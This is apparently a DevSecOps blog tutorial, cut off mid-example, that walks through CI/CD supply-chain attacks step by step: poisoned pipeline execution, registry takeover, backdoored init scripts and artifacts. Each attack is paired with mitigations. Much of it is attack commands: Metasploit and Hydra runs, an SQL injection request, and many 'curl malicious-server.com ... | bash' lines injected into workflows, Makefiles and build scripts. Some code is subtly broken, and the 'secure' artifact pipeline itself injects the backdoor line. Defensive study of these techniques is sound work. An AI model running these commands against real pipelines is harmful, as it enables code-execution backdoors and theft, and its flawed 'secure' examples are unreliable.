
ATTACKING PIPELINE
SUPPLY CHAIN ATTACKS IN DEVOPS ENVIRONEMENT
WWW.DEVSECOPSGUIDES.COM

# Attacking Pipeline

· Jul 22, 2024 · 26 min read

**Table of contents**

- Step 3: Modify the Build or Test Scripts
- Step 4: Commit and Push the Changes
- Step 5: Submit a Pull Request
- Prevention and Mitigation
  - Step 1: Implement Code Review Policies
  - Step 2: Use Static Code Analysis
  - Step 3: Monitor and Alert
  - Step 4: Restrict PR Triggered Pipelines
  - Step 5: Use Signed Commits
- Secure CI/CD Pipeline Example

Public PPE

- Step 1: Identify the Target Open-Source Project
- Step 2: Fork and Clone the Repository
- Step 3: Modify Configuration Files (d-PPE)
- Step 4: Modify Build or Test Scripts (i-PPE)
- Step 5: Commit and Push the Changes
- Step 6: Submit a Pull Request

Changes in repository

- Step 1: Identify the Target Repository and Gain Access
- Step 2: Modify Initialization Scripts
- Step 1: Identify the Target Repository and Gain Access
- Step 2: Modify Pipeline Configuration
- Step 1: Identify the Target Repository and Gain Access
- Step 2: Modify Dependency Configuration
- Prevention and Mitigation
  - Step 1: Restrict Token Permissions

- Step 2: Implement Code Review and Approvals
- Step 3: Use Static Code Analysis and Security Scanning
- Step 4: Monitor and Alert
- Secure CI/CD Pipeline Example

Inject in Artifacts

- Step 1: Identify the Target Repository and Gain Access
- Step 2: Modify the Artifact Creation Step
- Step 3: Trigger the Pipeline to Create the Malicious Artifact
- Step 4: Use the Malicious Artifact in Subsequent Pipeline Executions
- Prevention and Mitigation
  - Step 1: Implement Strict Access Controls
  - Step 2: Use Artifact Integrity Verification
  - Step 3: Monitor and Alert for Suspicious Activities
- Secure CI/CD Pipeline Example

User/Services credentials

- Step 1: Identify the Target Repository and Gain Access
- Step 2: Modify the Artifact Creation Step
- Step 3: Trigger the Pipeline to Create the Malicious Artifact
- Step 4: Use the Malicious Artifact in Subsequent Pipeline Executions
- Step 1: Identify the Target Repository and Gain Access
- Step 2: Find Credentials in Pipeline Logs
- Step 3: Use Leaked Credentials to Access Sensitive Services
- Prevention and Mitigation
  - Step 1: Implement Strict Access Controls
  - Step 2: Use Artifact Integrity Verification
  - Step 3: Mask Sensitive Information in Logs

Show less

DevOps pipelines, which integrate and automate the processes of software development and IT operations, have become critical for rapid and continuous software delivery. However, their extensive automation and integration capabilities make them attractive targets for cyberattacks. One significant threat is the insertion of malicious code through compromised repositories or Continuous Integration/Continuous Deployment (CI/CD) tools. Attackers can exploit vulnerabilities in pipeline tools or use social engineering to gain access, allowing them to insert backdoors or malware into the codebase. Furthermore, the reliance on third-party tools and libraries within these pipelines can introduce security risks if these dependencies are not adequately vetted or monitored. Once the pipeline is compromised, the malicious code can propagate quickly, leading to widespread and potentially catastrophic impacts on production environments.

Security issues in DevOps pipelines also stem from misconfigurations and insufficient access controls. Often, credentials and sensitive data are inadvertently exposed

through improper configuration management or poor secret handling practices, such as hardcoding credentials within scripts. Inadequate segmentation and over-privileged access can also exacerbate the problem, allowing attackers who gain a foothold in one part of the pipeline to move laterally and escalate their privileges. Abuse of the pipeline can result in unauthorized deployment of code, data breaches, and significant disruption to services. To mitigate these risks, organizations need to implement robust security practices, including regular security audits, continuous monitoring, strict access controls, and the use of security tools designed to detect and prevent threats within the DevOps lifecycle.

## DevOps resources compromise

DevOps resources are fundamentally composed of compute resources that execute CI/CD agents and other supporting software. Attackers can compromise these resources by exploiting vulnerabilities at various levels, including the operating system, CI/CD agent code, installed software on virtual machines (VMs), or networked devices. For instance, an attacker might exploit a known OS vulnerability using a tool like Metasploit. The following example demonstrates how an attacker might exploit a vulnerable SSH service on a Linux VM:

```
# Identify the target VM's IP address
TARGET_IP=192.168.1.100

# Use Nmap to scan for open ports and services
nmap -sV $TARGET_IP

# Suppose the scan reveals an outdated version of OpenSSH
# Exploit the vulnerability using Metasploit
msfconsole -q
use exploit/unix/ssh/openssh_xxxxx
set RHOST $TARGET_IP
set USERNAME root
```

```
set PASSWORD password
run
```

Once inside the VM, an attacker can manipulate the CI/CD agent's code or configurations to insert malicious commands. For example, they might alter a build script to include a backdoor:

COPY

```
# Navigate to the build script directory
cd /var/lib/jenkins/workspace/myproject

# Add a backdoor to the build script
echo 'curl http://malicious.com/backdoor.sh | sh' >> build.sh
```

Besides exploiting software vulnerabilities, attackers can also target other installed software or networked devices. For instance, compromising a vulnerable database service running on the same VM:

COPY

```
# Identify the database service and its version
ps aux | grep postgres

# If the database version is outdated and has known exploits, use an
SQL injection attack
# Assuming a vulnerable web application endpoint
curl -X POST -d "username=admin' -- AND 1=1; --"
http://$TARGET_IP/login
```

To prevent such compromises, it is essential to follow security best practices, including regular patching and updates, least privilege access control, network segmentation, and continuous monitoring. Employing security tools like intrusion detection systems (IDS) and endpoint protection can also help detect and mitigate

attacks on DevOps resources. Additionally, using infrastructure as code (IaC) tools, such as Terraform, with secure configurations can ensure that your infrastructure is deployed with security in mind from the outset. Here's an example of a secure configuration for an AWS EC2 instance using Terraform:

COPY

```
provider "aws" {
  region = "us-west-2"
}

resource "aws_instance" "secure_instance" {
  ami           = "ami-12345678"
  instance_type = "t2.micro"

  # Enable encryption and secure configurations
  root_block_device {
    volume_type = "gp2"
    volume_size = 20
    encrypted   = true
  }

  # Secure security group
  vpc_security_group_ids = ["sg-12345678"]

  # Only allow SSH from a specific IP
  ingress {
    from_port   = 22
    to_port     = 22
    protocol    = "tcp"
    cidr_blocks = ["203.0.113.0/24"]
  }

  # Disable password-based SSH access
  user_data = <<-EOF
    #!/bin/bash
    sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/'
```

```
/etc/ssh/sshd_config
    systemctl restart sshd
  EOF

  tags = {
    Name = "SecureInstance"
  }
}
```

By implementing such measures, you can significantly reduce the attack surface and protect your DevOps resources from potential compromises.

## Control of common registry

Gaining control of a common registry, such as a Nexus repository, allows an attacker to inject malicious images or packages into the DevOps pipeline, leading to compromised production environments. Here's an outline of how an attacker might achieve this and how you can protect against such an attack, along with relevant commands and codes.

#### Attack Scenario: Compromising a Nexus Repository

1. **Identify the Nexus Repository:** The attacker first identifies the Nexus repository used by the organization, often through reconnaissance.
2. **Exploit Vulnerabilities or Weak Credentials:** The attacker exploits vulnerabilities in the Nexus repository or uses weak credentials to gain access. Tools like `hydra` can be used for brute-forcing credentials.

COPY

```
# Brute-forcing credentials using Hydra
hydra -l admin -P /path/to/passwords.txt nexus.example.com http-get
/nexus
```

3. **Inject Malicious Packages or Images:** Once access is gained, the attacker uploads a malicious package or Docker image.

```
# Upload a malicious package to Nexus
curl -v -u admin:password --upload-file malicious-package.jar \
"http://nexus.example.com/service/rest/v1/components?repository=maven-releases"

# Upload a malicious Docker image
docker login nexus.example.com -u admin -p password
docker tag malicious-image nexus.example.com/repository/docker-releases/malicious-image:latest
docker push nexus.example.com/repository/docker-releases/malicious-image:latest
```

COPY

**Prevention and Mitigation**

1. **Secure the Nexus Repository:**
    - Ensure strong passwords and multi-factor authentication (MFA) are enabled.
    - Regularly update and patch the Nexus software to mitigate known vulnerabilities.

```
# Example of setting a strong password policy in Nexus
curl -X PUT -u admin:password \
-H "Content-Type: application/json" \
-d '{"passwordPolicy": "STRONG"}' \
"http://nexus.example.com/service/rest/v1/security/users/admin"
```

COPY

2. **Implement Role-Based Access Control (RBAC):** Limit access to the repository based on roles, ensuring only authorized personnel can upload or modify

packages.

```
// Example Nexus role configuration
{
  "id": "release-deployers",
  "name": "Release Deployers",
  "description": "Users with the ability to deploy to release
repositories",
  "privileges": ["nx-repository-view-maven2-release-*-add"]
}
```

3. **Enable Logging and Monitoring:** Enable detailed logging and monitoring to detect and respond to suspicious activities.

```
# Enable logging in Nexus
curl -X POST -u admin:password \
-H "Content-Type: application/json" \
-d '{"level": "DEBUG"}' \
"http://nexus.example.com/service/rest/v1/loggers/com.sonatype.nexus.r
epository"
```

**Scan Uploaded Packages and Images:** Integrate security scanning tools to automatically scan packages and Docker images for vulnerabilities before they are used in the pipeline.

```
# Example of scanning a Docker image with Clair
clair-scanner nexus.example.com/repository/docker-releases/malicious-
image:latest
```

### Secure CI/CD Pipeline Example

Here is an example Jenkins pipeline that integrates security scanning before deploying any package or image.

COPY

```
pipeline {
    agent any

    stages {
        stage('Checkout') {
            steps {
                git 'https://github.com/example/repo.git'
            }
        }

        stage('Build') {
            steps {
                sh 'mvn clean install'
            }
        }

        stage('Security Scan') {
            steps {
                // Scan the built artifact with Nexus IQ or similar
tool
                sh 'nexus-iq-cli -i example-app -s
http://nexus.example.com -a admin:password -t build/target/example-
app.jar'

                // Scan Docker image
                sh 'clair-scanner example-app:latest'
            }
        }

        stage('Deploy') {
            steps {
```

```
                script {
                    def server = Artifactory.server 'artifactory'
                    def uploadSpec = """{
                      "files": [
                        {
                          "pattern": "build/target/*.jar",
                          "target": "libs-release-local/example-app/"
                        }
                      ]
                    }"""
                    server.upload spec: uploadSpec
                }
            }
        }
    }
}
```

## Direct PPE (d-PPE)

Poisoned Pipeline Execution (PPE) refers to a scenario where an attacker injects malicious code into an organization's repository, leading to the execution of this code within the CI/CD system. This can be achieved through various sub-techniques, including Direct PPE (d-PPE), where the attacker directly modifies the configuration file inside the repository. Here's a step-by-step red team scenario demonstrating a Direct PPE attack:

### Step 1: Identify the Target Repository

The attacker first identifies the target repository, which typically involves some reconnaissance.

```
# Use GitHub's search API to find the target repository
curl -s "https://api.github.com/search/repositories?
```

```
q=org:target_organization" | jq '.items[].full_name'
```

### Step 2: Gain Access to the Repository

The attacker either gains direct access to the repository (through compromised credentials or insider threats) or submits a malicious pull request (PR).

COPY

```
# Clone the target repository
git clone https://github.com/target_organization/target_repo.git
cd target_repo

# Create a new branch for the malicious PR
git checkout -b malicious-branch
```

### Step 3: Modify the Configuration File

The attacker modifies the CI/CD configuration file (e.g., `.github/workflows/ci.yml` for GitHub Actions) to include malicious commands.

COPY

```
# .github/workflows/ci.yml
name: CI Pipeline

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Build
```

```
      run: |
        echo "Building the project"
        # Injected malicious command
        curl http://malicious-server.com/malicious-script.sh | bash

    - name: Test
      run: echo "Running tests"
```

#### Step 4: Commit and Push the Changes

The attacker commits and pushes the changes to their branch and submits a PR.

COPY

```
# Add and commit the changes
git add .github/workflows/ci.yml
git commit -m "Injected malicious code in CI pipeline"

# Push the branch to the remote repository
git push origin malicious-branch
```

#### Step 5: Submit a Pull Request

The attacker submits a pull request via the GitHub interface, which triggers the CI/CD pipeline to run the modified configuration file.

COPY

```
# Open a pull request using GitHub CLI
gh pr create --title "Add new feature" --body "Please review the new
feature" --base main --head malicious-branch
```

#### Prevention and Mitigation

Step 1: Implement Code Review Policies

Ensure that all changes, especially those related to CI/CD configuration files, are thoroughly reviewed by multiple team members.

```
# .github/workflows/code-review.yml
name: Code Review

on: [pull_request]

jobs:
  review:
    runs-on: ubuntu-latest

    steps:
    - name: Ensure code review
      uses: reviewdog/action-reviewdog@v1
      with:
        reporter: github-pr-review
        filter_mode: added
```

COPY

### Step 2: Restrict PR Triggered Pipelines

Configure the CI/CD system to restrict which users or branches can trigger the pipeline.

```
# .github/workflows/ci.yml
name: CI Pipeline

on:
  push:
    branches:
      - main
  pull_request:
    branches:
```

COPY

```
      - main

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Build
      run: echo "Building the project"

    - name: Test
      run: echo "Running tests"
```

### Step 3: Use Static Code Analysis

Integrate static code analysis tools to detect malicious or anomalous code changes.

COPY

```
# Example of integrating a static analysis tool in the CI pipeline
name: Static Code Analysis

on: [push, pull_request]

jobs:
  analyze:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Run static analysis
      uses: github/super-linter@v3
```

Step 4: Monitor and Alert

Set up monitoring and alerting for suspicious activities in the repository and CI/CD system.

```
# .github/workflows/monitoring.yml
name: Monitoring

on: [push, pull_request]

jobs:
  monitor:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Monitor for suspicious activity
      run: |
        if grep -q "curl http://malicious-server.com/malicious-
script.sh" .github/workflows/*.yml; then
          echo "Suspicious activity detected!"
          exit 1
        fi
```

## Indirect PPE (i-PPE)

Indirect PPE (i-PPE) is a sub-technique where the attacker cannot directly modify the configuration files but instead infects scripts used by the pipeline, such as makefiles, test scripts, build scripts, etc. Here's a step-by-step red team scenario demonstrating an i-PPE attack:

### Step 1: Identify the Target Repository

The attacker first identifies the target repository, which typically involves some reconnaissance.

```
# Use GitHub's search API to find the target repository
curl -s "https://api.github.com/search/repositories?
q=org:target_organization" | jq '.items[].full_name'
```

COPY

### Step 2: Gain Access to the Repository

The attacker either gains direct access to the repository (through compromised credentials or insider threats) or submits a malicious pull request (PR).

```
# Clone the target repository
git clone https://github.com/target_organization/target_repo.git
cd target_repo

# Create a new branch for the malicious PR
git checkout -b malicious-branch
```

COPY

### Step 3: Modify the Build or Test Scripts

The attacker modifies a script used in the CI/CD pipeline (e.g., `build.sh`, `Makefile`, `test_script.sh`) to include malicious commands.

```
# Modify the build script to include a malicious command
echo 'curl http://malicious-server.com/malicious-script.sh | bash' >>
build.sh

# Modify the makefile to include a malicious command
echo 'all:\n\tcurl http://malicious-server.com/malicious-script.sh |
bash' >> Makefile
```

COPY

```
# Modify the test script to include a malicious command
echo 'curl http://malicious-server.com/malicious-script.sh | bash' >>
test_script.sh
```

### Step 4: Commit and Push the Changes

The attacker commits and pushes the changes to their branch and submits a PR.

COPY

```
# Add and commit the changes
git add build.sh Makefile test_script.sh
git commit -m "Injected malicious code into build/test scripts"

# Push the branch to the remote repository
git push origin malicious-branch
```

### Step 5: Submit a Pull Request

The attacker submits a pull request via the GitHub interface, which triggers the CI/CD pipeline to run the modified scripts.

COPY

```
# Open a pull request using GitHub CLI
gh pr create --title "Add new feature" --body "Please review the new
feature" --base main --head malicious-branch
```

### Prevention and Mitigation

#### Step 1: Implement Code Review Policies

Ensure that all changes, especially those related to scripts used in the CI/CD pipeline, are thoroughly reviewed by multiple team members.

```
# .github/workflows/code-review.yml
name: Code Review

on: [pull_request]

jobs:
  review:
    runs-on: ubuntu-latest

    steps:
    - name: Ensure code review
      uses: reviewdog/action-reviewdog@v1
      with:
        reporter: github-pr-review
        filter_mode: added
```

### Step 2: Use Static Code Analysis

Integrate static code analysis tools to detect malicious or anomalous code changes in scripts.

```
# Example of integrating a static analysis tool in the CI pipeline
name: Static Code Analysis

on: [push, pull_request]

jobs:
  analyze:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2
```

```
    - name: Run static analysis
      uses: github/super-linter@v3
```

### Step 3: Monitor and Alert

Set up monitoring and alerting for suspicious activities in the repository and CI/CD system.

COPY

```
# .github/workflows/monitoring.yml
name: Monitoring

on: [push, pull_request]

jobs:
  monitor:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Monitor for suspicious activity
      run: |
        if grep -q "curl http://malicious-server.com/malicious-
script.sh" build.sh Makefile test_script.sh; then
          echo "Suspicious activity detected!"
          exit 1
        fi
```

### Step 4: Restrict PR Triggered Pipelines

Configure the CI/CD system to restrict which users or branches can trigger the pipeline.

COPY

```
# .github/workflows/ci.yml
name: CI Pipeline

on:
  push:
    branches:
      - main
  pull_request:
    branches:
      - main

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Build
      run: echo "Building the project"

    - name: Test
      run: echo "Running tests"
```

### Step 5: Use Signed Commits

Require signed commits to ensure the integrity of the code and verify the identity of the committers.

COPY

```
# Configure Git to sign commits
git config --global user.signingkey YOUR_GPG_KEY_ID
git config --global commit.gpgSign true
```

```
# Commit with a signature
git commit -S -m "Signed commit"
```

### Secure CI/CD Pipeline Example

Here is an example Jenkins pipeline that integrates security scanning before deploying any package or image.

COPY

```
pipeline {
    agent any

    stages {
        stage('Checkout') {
            steps {
                git 'https://github.com/example/repo.git'
            }
        }

        stage('Build') {
            steps {
                sh 'mvn clean install'
            }
        }

        stage('Security Scan') {
            steps {
                // Scan the built artifact with Nexus IQ or similar
tool
                sh 'nexus-iq-cli -i example-app -s
http://nexus.example.com -a admin:password -t build/target/example-
app.jar'

                // Scan Docker image
                sh 'clair-scanner example-app:latest'
            }
```

```
        }

        stage('Deploy') {
            steps {
                script {
                    def server = Artifactory.server 'artifactory'
                    def uploadSpec = """{
                      "files": [
                        {
                          "pattern": "build/target/*.jar",
                          "target": "libs-release-local/example-app/"
                        }
                      ]
                    }"""
                    server.upload spec: uploadSpec
                }
            }
        }
    }
}
```

## Public PPE

In a Public PPE attack, an attacker exploits the CI/CD pipeline of an open-source project. The pipeline is triggered by public repositories, which can be more vulnerable to attacks. The attacker uses Direct PPE (d-PPE) or Indirect PPE (i-PPE) techniques to inject malicious code into the project repository, causing the pipeline to execute this code. Here's a step-by-step red team scenario demonstrating a Public PPE attack.

#### Step 1: Identify the Target Open-Source Project

The attacker first identifies an open-source project with a CI/CD pipeline that automatically triggers on pull requests or commits.

```
# Use GitHub's search API to find the target repository
curl -s "https://api.github.com/search/repositories?q=topic:ci-
cd+language:python" | jq '.items[].full_name'
```

### Step 2: Fork and Clone the Repository

The attacker forks the target repository to their GitHub account and clones it locally.

COPY

```
# Fork the repository via GitHub's web interface or CLI
gh repo fork target_organization/target_repo --clone

# Change directory to the cloned repository
cd target_repo
```

### Step 3: Modify Configuration Files (d-PPE)

The attacker modifies the CI/CD configuration file (e.g., `.github/workflows/ci.yml` for GitHub Actions) to include malicious commands.

COPY

```
# .github/workflows/ci.yml
name: CI Pipeline

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2
```

```
    - name: Build
      run: |
        echo "Building the project"
        # Injected malicious command
        curl http://malicious-server.com/malicious-script.sh | bash

    - name: Test
      run: echo "Running tests"
```

### Step 4: Modify Build or Test Scripts (i-PPE)

Alternatively, the attacker can modify a script used in the CI/CD pipeline (e.g., `build.sh`, `Makefile`, `test_script.sh`) to include malicious commands.

COPY

```
# Modify the build script to include a malicious command
echo 'curl http://malicious-server.com/malicious-script.sh | bash' >>
build.sh

# Modify the makefile to include a malicious command
echo -e 'all:\n\tcurl http://malicious-server.com/malicious-script.sh
| bash' >> Makefile

# Modify the test script to include a malicious command
echo 'curl http://malicious-server.com/malicious-script.sh | bash' >>
test_script.sh
```

### Step 5: Commit and Push the Changes

The attacker commits and pushes the changes to their fork.

COPY

```
# Add and commit the changes
git add .github/workflows/ci.yml build.sh Makefile test_script.sh
git commit -m "Injected malicious code into CI configuration and
```

```
scripts"

# Push the changes to the fork
git push origin main
```

#### Step 6: Submit a Pull Request

The attacker submits a pull request to the original repository, which triggers the CI/CD pipeline to run the modified configuration and scripts.

```
COPY

# Open a pull request using GitHub CLI
gh pr create --title "Add new feature" --body "Please review the new
feature" --base main --head attacker_fork:main
```

## Changes in repository

Adversaries can exploit automatic tokens provided by CI/CD pipelines to access and push code to the repository. If these tokens have sufficient permissions, attackers can achieve persistency by making unauthorized changes to the repository. This can include altering initialization scripts, modifying pipeline configurations, or changing dependency configurations to introduce malicious code. Here's a step-by-step red team scenario demonstrating such an attack.

`Scenario 1: Changing/Adding Initialization Scripts`

#### Step 1: Identify the Target Repository and Gain Access

The attacker first identifies the target repository and gains access to the CI/CD pipeline. This often involves reconnaissance and exploiting weak points to obtain the necessary permissions or tokens.

```
# Use GitHub's search API to find the target repository
curl -s "https://api.github.com/search/repositories?
q=org:target_organization" | jq '.items[].full_name'

# Assuming we have obtained an access token (e.g., from a compromised
CI job)
export GITHUB_TOKEN=your_access_token
```

### Step 2: Modify Initialization Scripts

The attacker clones the repository, modifies the initialization scripts to include a backdoor, and pushes the changes back to the repository.

```
COPY
# Clone the target repository
git clone https://github.com/target_organization/target_repo.git
cd target_repo

# Modify the initialization script to include a backdoor
echo 'curl http://malicious-server.com/backdoor.sh | bash' >>
init_script.sh

# Commit and push the changes
git add init_script.sh
git commit -m "Added backdoor to initialization script"
git push origin main
```

`Scenario 2: Changing Pipeline Configuration`

### Step 1: Identify the Target Repository and Gain Access

Similar to Scenario 1, the attacker gains access to the repository.

```
# Use GitHub's search API to find the target repository
curl -s "https://api.github.com/search/repositories?
q=org:target_organization" | jq '.items[].full_name'

# Assuming we have obtained an access token (e.g., from a compromised
CI job)
export GITHUB_TOKEN=your_access_token
```

### Step 2: Modify Pipeline Configuration

The attacker modifies the CI/CD pipeline configuration to include steps that download and execute a malicious script.

COPY

```
# Clone the target repository
git clone https://github.com/target_organization/target_repo.git
cd target_repo

# Modify the CI configuration file
cat <<EOL >> .github/workflows/ci.yml
jobs:
  build:
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Inject malicious code
        run: curl http://malicious-server.com/malicious-script.sh |
bash
EOL

# Commit and push the changes
git add .github/workflows/ci.yml
git commit -m "Modified CI configuration to include malicious code"
git push origin main
```

`Scenario 3: Changing Configuration for Dependencies`

### Step 1: Identify the Target Repository and Gain Access

As before, the attacker gains access to the repository.

```
# Use GitHub's search API to find the target repository
curl -s "https://api.github.com/search/repositories?
q=org:target_organization" | jq '.items[].full_name'

# Assuming we have obtained an access token (e.g., from a compromised
CI job)
export GITHUB_TOKEN=your_access_token
```

COPY

### Step 2: Modify Dependency Configuration

The attacker modifies the configuration files to point to attacker-controlled packages.

```
# Clone the target repository
git clone https://github.com/target_organization/target_repo.git
cd target_repo

# Modify the dependency configuration to use attacker-controlled
packages
echo 'repositories { maven { url "http://malicious-server.com/repo" }
}' >> build.gradle

# Commit and push the changes
git add build.gradle
git commit -m "Changed dependency configuration to use malicious
packages"
git push origin main
```

COPY

### Prevention and Mitigation

#### Step 1: Restrict Token Permissions

Limit the permissions of CI/CD tokens to the minimum required for the job.

```
# Example GitHub Actions workflow with restricted permissions
permissions:
  contents: read
  pull-requests: write
  issues: write
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v2
```

#### Step 2: Implement Code Review and Approvals

Ensure that all changes, especially those related to CI/CD configurations and scripts, are thoroughly reviewed and approved by multiple maintainers.

```
# .github/workflows/code-review.yml
name: Code Review

on: [pull_request]

jobs:
  review:
    runs-on: ubuntu-latest
    steps:
    - name: Ensure code review
      uses: reviewdog/action-reviewdog@v1
      with:
```

```
        reporter: github-pr-review
        filter_mode: added
```

### Step 3: Use Static Code Analysis and Security Scanning

Integrate static code analysis and security scanning tools to detect malicious or anomalous code changes.

COPY

```
# Example of integrating a static analysis tool in the CI pipeline
name: Static Code Analysis

on: [push, pull_request]

jobs:
  analyze:
    runs-on: ubuntu-latest
    steps:
    - name: Checkout code
      uses: actions/checkout@v2
    - name: Run static analysis
      uses: github/super-linter@v3
```

### Step 4: Monitor and Alert

Set up monitoring and alerting for suspicious activities in the repository and CI/CD system.

COPY

```
# .github/workflows/monitoring.yml
name: Monitoring

on: [push, pull_request]

jobs:
```

```
  monitor:
    runs-on: ubuntu-latest
    steps:
    - name: Checkout code
      uses: actions/checkout@v2
    - name: Monitor for suspicious activity
      run: |
        if grep -q "http://malicious-server.com" init_script.sh
.github/workflows/ci.yml build.gradle; then
          echo "Suspicious activity detected!"
          exit 1
        fi
```

### Secure CI/CD Pipeline Example

Here is an example Jenkins pipeline that integrates security scanning before deploying any package or image.

COPY

```
pipeline {
    agent any

    stages {
        stage('Checkout') {
            steps {
                git 'https://github.com/example/repo.git'
            }
        }

        stage('Build') {
            steps {
                sh 'mvn clean install'
            }
        }

        stage('Security Scan') {
```

```
            steps {
                // Scan the built artifact with Nexus IQ or similar
tool
                sh 'nexus-iq-cli -i example-app -s
http://nexus.example.com -a admin:password -t build/target/example-
app.jar'

                // Scan Docker image
                sh 'clair-scanner example-app:latest'
            }
        }

        stage('Deploy') {
            steps {
                script {
                    def server = Artifactory.server 'artifactory'
                    def uploadSpec = """{
                      "files": [
                        {
                          "pattern": "build/target/*.jar",
                          "target": "libs-release-local/example-app/"
                        }
                      ]
                    }"""
                    server.upload spec: uploadSpec
                }
            }
        }
    }
}
```

## Inject in Artifacts

In this scenario, an attacker exploits the functionality of CI environments that allow the creation and sharing of artifacts between pipeline executions. By injecting

malicious code into these artifacts, the attacker ensures that every time the artifact is used in subsequent pipeline executions, their malicious code is executed. Here's a step-by-step red team scenario demonstrating this attack in a GitHub Actions environment.

### Step 1: Identify the Target Repository and Gain Access

The attacker first identifies a target repository and gains access to the CI/CD pipeline, often through compromised credentials or exploiting a vulnerability.

```
# Use GitHub's search API to find the target repository
curl -s "https://api.github.com/search/repositories?
q=org:target_organization" | jq '.items[].full_name'

# Assuming we have obtained an access token (e.g., from a compromised
CI job)
export GITHUB_TOKEN=your_access_token
```

### Step 2: Modify the Artifact Creation Step

The attacker modifies the pipeline configuration to inject malicious code into the artifact creation step. This ensures that the artifact includes the malicious code when it is generated.

```
# .github/workflows/ci.yml
name: CI Pipeline

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
```

```
    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Build project
      run: |
        echo "Building the project"
        # Additional build steps here
        echo 'curl http://malicious-server.com/malicious-script.sh |
bash' >> build_artifact.sh
        zip build_artifact.zip build_artifact.sh

    - name: Upload artifact
      uses: actions/upload-artifact@v2
      with:
        name: build-artifact
        path: build_artifact.zip
```

### Step 3: Trigger the Pipeline to Create the Malicious Artifact

The attacker triggers the pipeline, causing the CI/CD system to generate and upload the malicious artifact.

COPY

```
# Push a commit to trigger the pipeline
git commit --allow-empty -m "Trigger pipeline to create malicious
artifact"
git push origin main
```

### Step 4: Use the Malicious Artifact in Subsequent Pipeline Executions

The attacker ensures that the pipeline configuration uses the malicious artifact in subsequent executions.

```
# .github/workflows/deploy.yml
name: Deploy Pipeline

on: [workflow_run]
jobs:
  deploy:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Download artifact
      uses: actions/download-artifact@v2
      with:
        name: build-artifact
        path: .

    - name: Extract artifact and run
      run: |
        unzip build_artifact.zip
        bash build_artifact.sh
```

### Prevention and Mitigation

#### Step 1: Implement Strict Access Controls

Ensure that only authorized users can modify the pipeline configuration and upload artifacts.

```
# Example GitHub Actions workflow with restricted permissions
permissions:
  contents: read
  actions: write
```

```
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v2
```

### Step 2: Use Artifact Integrity Verification

Use cryptographic checksums or digital signatures to verify the integrity of artifacts before using them in the pipeline.

COPY

```
# .github/workflows/verify-artifact.yml
name: Verify Artifact

on: [workflow_run]
jobs:
  verify:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Download artifact
      uses: actions/download-artifact@v2
      with:
        name: build-artifact
        path: .

    - name: Verify artifact integrity
      run: |
        echo "Expected checksum: abc123"
        echo "Actual checksum: $(sha256sum build_artifact.zip)"
        if [ "$(sha256sum build_artifact.zip)" != "abc123
build_artifact.zip" ]; then
          echo "Artifact integrity verification failed!"
```

```
          exit 1
            fi
```

Step 3: Monitor and Alert for Suspicious Activities

Set up monitoring and alerting for suspicious activities in the repository and CI/CD system.

COPY

```
# .github/workflows/monitoring.yml
name: Monitoring

on: [push, pull_request]

jobs:
  monitor:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Monitor for suspicious activity
      run: |
        if grep -q "http://malicious-server.com"
.github/workflows/*.yml build_artifact.sh; then
          echo "Suspicious activity detected!"
          exit 1
        fi
```

### Secure CI/CD Pipeline Example

Here is an example Jenkins pipeline that integrates security scanning before using any artifact in the deployment process.

```
pipeline {
    agent any

    stages {
        stage('Checkout') {
            steps {
                git 'https://github.com/example/repo.git'
            }
        }

        stage('Build') {
            steps {
                sh 'mvn clean install'
            }
        }

        stage('Create Artifact') {
            steps {
                sh '''
                    echo "Building the project"
                    # Additional build steps here
                    echo 'curl http://malicious-server.com/malicious-
script.sh | bash' >> build_artifact.sh
                    zip build_artifact.zip build_artifact.sh
                '''
                archiveArtifacts artifacts: 'build_artifact.zip',
allowEmptyArchive: true
            }
        }

        stage('Verify Artifact') {
            steps {
                sh '''
                    echo "Expected checksum: abc123"
                    echo "Actual checksum: $(sha256sum
build_artifact.zip)"
```

```
                    if [ "$(sha256sum build_artifact.zip)" != "abc123
 build_artifact.zip" ]; then
                      echo "Artifact integrity verification failed!"
                      exit 1
                    fi
                '''
            }
        }

        stage('Deploy') {
            steps {
                script {
                    def server = Artifactory.server 'artifactory'
                    def uploadSpec = """{
                      "files": [
                        {
                          "pattern": "build_artifact.zip",
                          "target": "libs-release-local/example-app/"
                        }
                      ]
                    }"""
                    server.upload spec: uploadSpec
                }
            }
        }
    }
}
```

## User/Services credentials

In this scenario, attackers exploit the functionality of CI environments that create and share artifacts between pipeline executions, injecting malicious code into these artifacts. Additionally, attackers can exploit leaked credentials, such as Vault credentials, in pipeline logs to access sensitive services or systems.

`Scenario 1: Injecting Malicious Code in Artifacts`

### Step 1: Identify the Target Repository and Gain Access

The attacker identifies the target repository and gains access to the CI/CD pipeline.

```
# Use GitHub's search API to find the target repository
curl -s "https://api.github.com/search/repositories?
q=org:target_organization" | jq '.items[].full_name'

# Assuming the attacker has obtained an access token (e.g., from a
compromised CI job)
export GITHUB_TOKEN=your_access_token
```

### Step 2: Modify the Artifact Creation Step

The attacker modifies the pipeline configuration to inject malicious code into the artifact creation step.

```
# .github/workflows/ci.yml
name: CI Pipeline

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
